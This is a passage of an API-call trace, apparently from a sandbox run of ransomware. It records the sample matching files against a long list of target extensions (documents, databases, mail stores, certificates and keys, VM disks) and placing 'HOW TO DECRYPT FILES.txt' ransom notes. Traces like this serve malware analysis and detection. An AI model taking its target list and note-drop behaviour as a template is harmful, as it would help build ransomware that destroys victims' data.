Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.qbm") returned 0 [0076.347] lstrlenA (lpString="*.qbm") returned 5 [0076.347] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.qbo") returned 0 [0076.347] lstrlenA (lpString="*.qbo") returned 5 [0076.347] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.qbx") returned 0 [0076.347] lstrlenA (lpString="*.qbx") returned 5 [0076.347] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.qba") returned 0 [0076.347] lstrlenA (lpString="*.qba") returned 5 [0076.347] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.qby") returned 0 [0076.347] lstrlenA (lpString="*.qby") returned 5 [0076.347] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.qbj") returned 0 [0076.347] lstrlenA (lpString="*.qbj") returned 5 [0076.347] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.ofx") returned 0 [0076.348] lstrlenA (lpString="*.ofx") returned 5 [0076.348] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.qif") returned 0 [0076.348] lstrlenA (lpString="*.qif") returned 5 [0076.348] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.mye") returned 0 [0076.348] lstrlenA (lpString="*.mye") returned 5 [0076.348] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.mbox") returned 0 [0076.348] lstrlenA (lpString="*.mbox") returned 6 [0076.348] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.eml") returned 0 [0076.348] lstrlenA (lpString="*.eml") returned 5 [0076.348] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.pst") returned 0 [0076.348] lstrlenA (lpString="*.pst") returned 5 [0076.348] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.ost") returned 0 [0076.348] lstrlenA (lpString="*.ost") returned 5 [0076.348] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.idx") returned 0 [0076.348] lstrlenA (lpString="*.idx") returned 5 [0076.348] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.dbx") returned 0 [0076.348] lstrlenA (lpString="*.dbx") returned 5 [0076.348] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.sql") returned 0 [0076.348] lstrlenA (lpString="*.sql") returned 5 [0076.348] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.mdb") returned 0 [0076.348] lstrlenA (lpString="*.mdb") returned 5 [0076.348] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.fdb") returned 0 [0076.348] lstrlenA (lpString="*.fdb") returned 5 [0076.348] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.wab") returned 0 [0076.348] lstrlenA (lpString="*.wab") returned 5 [0076.348] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.dat") returned 0 [0076.348] lstrlenA (lpString="*.dat") returned 5 [0076.348] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.txt") returned 0 [0076.348] lstrlenA (lpString="*.txt") returned 5 [0076.349] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.jpeg") returned 0 [0076.349] lstrlenA (lpString="*.jpeg") returned 6 [0076.349] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.jpg") returned 0 [0076.349] lstrlenA (lpString="*.jpg") returned 5 [0076.349] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.png") returned 0 [0076.349] lstrlenA (lpString="*.png") returned 5 [0076.349] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.php") returned 0 [0076.349] lstrlenA (lpString="*.php") returned 5 [0076.349] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.cs") returned 0 [0076.349] lstrlenA (lpString="*.cs") returned 4 [0076.349] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.cpp") returned 0 [0076.349] lstrlenA (lpString="*.cpp") returned 5 [0076.349] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.rar") returned 0 [0076.349] lstrlenA (lpString="*.rar") returned 5 [0076.349] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.zip") returned 0 [0076.349] lstrlenA (lpString="*.zip") returned 5 [0076.349] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.html") returned 0 [0076.349] lstrlenA (lpString="*.html") returned 6 [0076.349] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.htm") returned 0 [0076.349] lstrlenA (lpString="*.htm") returned 5 [0076.349] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.xlsx") returned 0 [0076.349] lstrlenA (lpString="*.xlsx") returned 6 [0076.349] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.xls") returned 0 [0076.349] lstrlenA (lpString="*.xls") returned 5 [0076.349] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.mp4") returned 0 [0076.349] lstrlenA (lpString="*.mp4") returned 5 [0076.349] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.ppt") returned 0 [0076.349] lstrlenA (lpString="*.ppt") returned 5 [0076.349] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.pptx") returned 0 [0076.350] lstrlenA (lpString="*.pptx") returned 6 [0076.350] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.doc") returned 0 [0076.350] lstrlenA (lpString="*.doc") returned 5 [0076.350] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.dot") returned 0 [0076.350] lstrlenA (lpString="*.dot") returned 5 [0076.350] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.docx") returned 0 [0076.350] lstrlenA (lpString="*.docx") returned 6 [0076.350] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.7z") returned 0 [0076.350] lstrlenA (lpString="*.7z") returned 4 [0076.350] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.tar") returned 0 [0076.350] lstrlenA (lpString="*.tar") returned 5 [0076.350] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.bz2") returned 0 [0076.350] lstrlenA (lpString="*.bz2") returned 5 [0076.350] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.gz") returned 0 [0076.350] lstrlenA (lpString="*.gz") returned 4 [0076.350] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.mkv") returned 0 [0076.350] lstrlenA (lpString="*.mkv") returned 5 [0076.350] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.eml") returned 0 [0076.350] lstrlenA (lpString="*.eml") returned 5 [0076.350] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.msg") returned 0 [0076.350] lstrlenA (lpString="*.msg") returned 5 [0076.350] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.edb") returned 0 [0076.350] lstrlenA (lpString="*.edb") returned 5 [0076.350] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.accdb") returned 0 [0076.350] lstrlenA (lpString="*.accdb") returned 7 [0076.350] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.odb") returned 0 [0076.350] lstrlenA (lpString="*.odb") returned 5 [0076.350] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.java") returned 0 [0076.350] lstrlenA (lpString="*.java") returned 6 [0076.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.asm") returned 0 [0076.351] lstrlenA (lpString="*.asm") returned 5 [0076.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.pfx") returned 0 [0076.351] lstrlenA (lpString="*.pfx") returned 5 [0076.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.pem") returned 0 [0076.351] lstrlenA (lpString="*.pem") returned 5 [0076.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.p12") returned 0 [0076.351] lstrlenA (lpString="*.p12") returned 5 [0076.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.gpg") returned 0 [0076.351] lstrlenA (lpString="*.gpg") returned 5 [0076.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.vsd") returned 0 [0076.351] lstrlenA (lpString="*.vsd") returned 5 [0076.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.odg") returned 0 [0076.351] lstrlenA (lpString="*.odg") returned 5 [0076.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.raw") returned 0 [0076.351] lstrlenA (lpString="*.raw") returned 5 [0076.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.nef") returned 0 [0076.351] lstrlenA (lpString="*.nef") returned 5 [0076.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.svg") returned 0 [0076.351] lstrlenA (lpString="*.svg") returned 5 [0076.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.psd") returned 0 [0076.351] lstrlenA (lpString="*.psd") returned 5 [0076.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.vmx") returned 0 [0076.351] lstrlenA (lpString="*.vmx") returned 5 [0076.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.vmdk") returned 0 [0076.351] lstrlenA (lpString="*.vmdk") returned 6 [0076.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.vdi") returned 0 [0076.351] lstrlenA (lpString="*.vdi") returned 5 [0076.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.lay6") returned 0 [0076.351] lstrlenA (lpString="*.lay6") returned 6 [0076.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.mpeg") returned 0 [0076.352] lstrlenA (lpString="*.mpeg") returned 6 [0076.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.djvu") returned 0 [0076.352] lstrlenA (lpString="*.djvu") returned 6 [0076.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.tiff") returned 0 [0076.352] lstrlenA (lpString="*.tiff") returned 6 [0076.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.backup") returned 0 [0076.352] lstrlenA (lpString="*.backup") returned 8 [0076.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.pdf") returned 0 [0076.352] lstrlenA (lpString="*.pdf") returned 5 [0076.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.cert") returned 0 [0076.352] lstrlenA (lpString="*.cert") returned 6 [0076.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.docm") returned 0 [0076.352] lstrlenA (lpString="*.docm") returned 6 [0076.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.xlsm") returned 0 [0076.352] lstrlenA (lpString="*.xlsm") returned 6 [0076.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.dwg") returned 0 [0076.352] lstrlenA (lpString="*.dwg") returned 5 [0076.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.nd") returned 0 [0076.352] lstrlenA (lpString="*.nd") returned 4 [0076.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.tlg") returned 0 [0076.352] lstrlenA (lpString="*.tlg") returned 5 [0076.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.lgb") returned 0 [0076.352] lstrlenA (lpString="*.lgb") returned 5 [0076.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.mov") returned 0 [0076.352] lstrlenA (lpString="*.mov") returned 5 [0076.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.xdw") returned 0 [0076.352] lstrlenA (lpString="*.xdw") returned 5 [0076.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.ods") returned 0 [0076.353] lstrlenA (lpString="*.ods") returned 5 [0076.353] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.wav") returned 0 [0076.353] lstrlenA (lpString="*.wav") returned 5 [0076.353] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.mp3") returned 0 [0076.353] lstrlenA (lpString="*.mp3") returned 5 [0076.353] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.aiff") returned 0 [0076.353] lstrlenA (lpString="*.aiff") returned 6 [0076.353] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.flac") returned 0 [0076.353] lstrlenA (lpString="*.flac") returned 6 [0076.353] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.m4a") returned 0 [0076.353] lstrlenA (lpString="*.m4a") returned 5 [0076.353] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.csv") returned 0 [0076.353] lstrlenA (lpString="*.csv") returned 5 [0076.353] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b285700, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b285700, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="extensibility.dll", cAlternateFileName="EXTENS~1.DLL")) returned 0 [0076.353] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.354] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PublicAssemblies", cAlternateFileName="PUBLIC~1")) returned 0 [0076.354] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0076.354] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x53004d, dwReserved1=0x3, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0076.354] lstrcmpA (lpString1=".", lpString2="MSInfo") returned -1 [0076.354] lstrcmpA (lpString1="..", lpString2="MSInfo") returned -1 [0076.354] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\*.*") returned="*.*" [0076.354] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="MSInfo" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo" [0076.354] lstrlenA (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo") returned 59 [0076.354] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.355] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.355] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.356] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.356] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.356] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22894196, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0076.356] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0076.356] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0076.356] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\*.*") returned="*.*" [0076.356] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\", lpString2="en-US" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US" [0076.356] lstrlenA (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US") returned 65 [0076.356] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22894196, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.356] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.356] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22894196, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0076.356] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.356] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.356] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99bae7b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x99bae7b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0076.356] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.356] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msinfo32.exe.mui") returned -1 [0076.356] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msinfo32.exe.mui") returned -1 [0076.356] lstrcmpiA (lpString1="", lpString2="msinfo32.exe.mui") returned -1 [0076.356] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\*.*") returned="*.*" [0076.356] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\" [0076.357] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\") returned="" [0076.357] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\HOW TO DECRYPT FILES.txt" [0076.357] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft 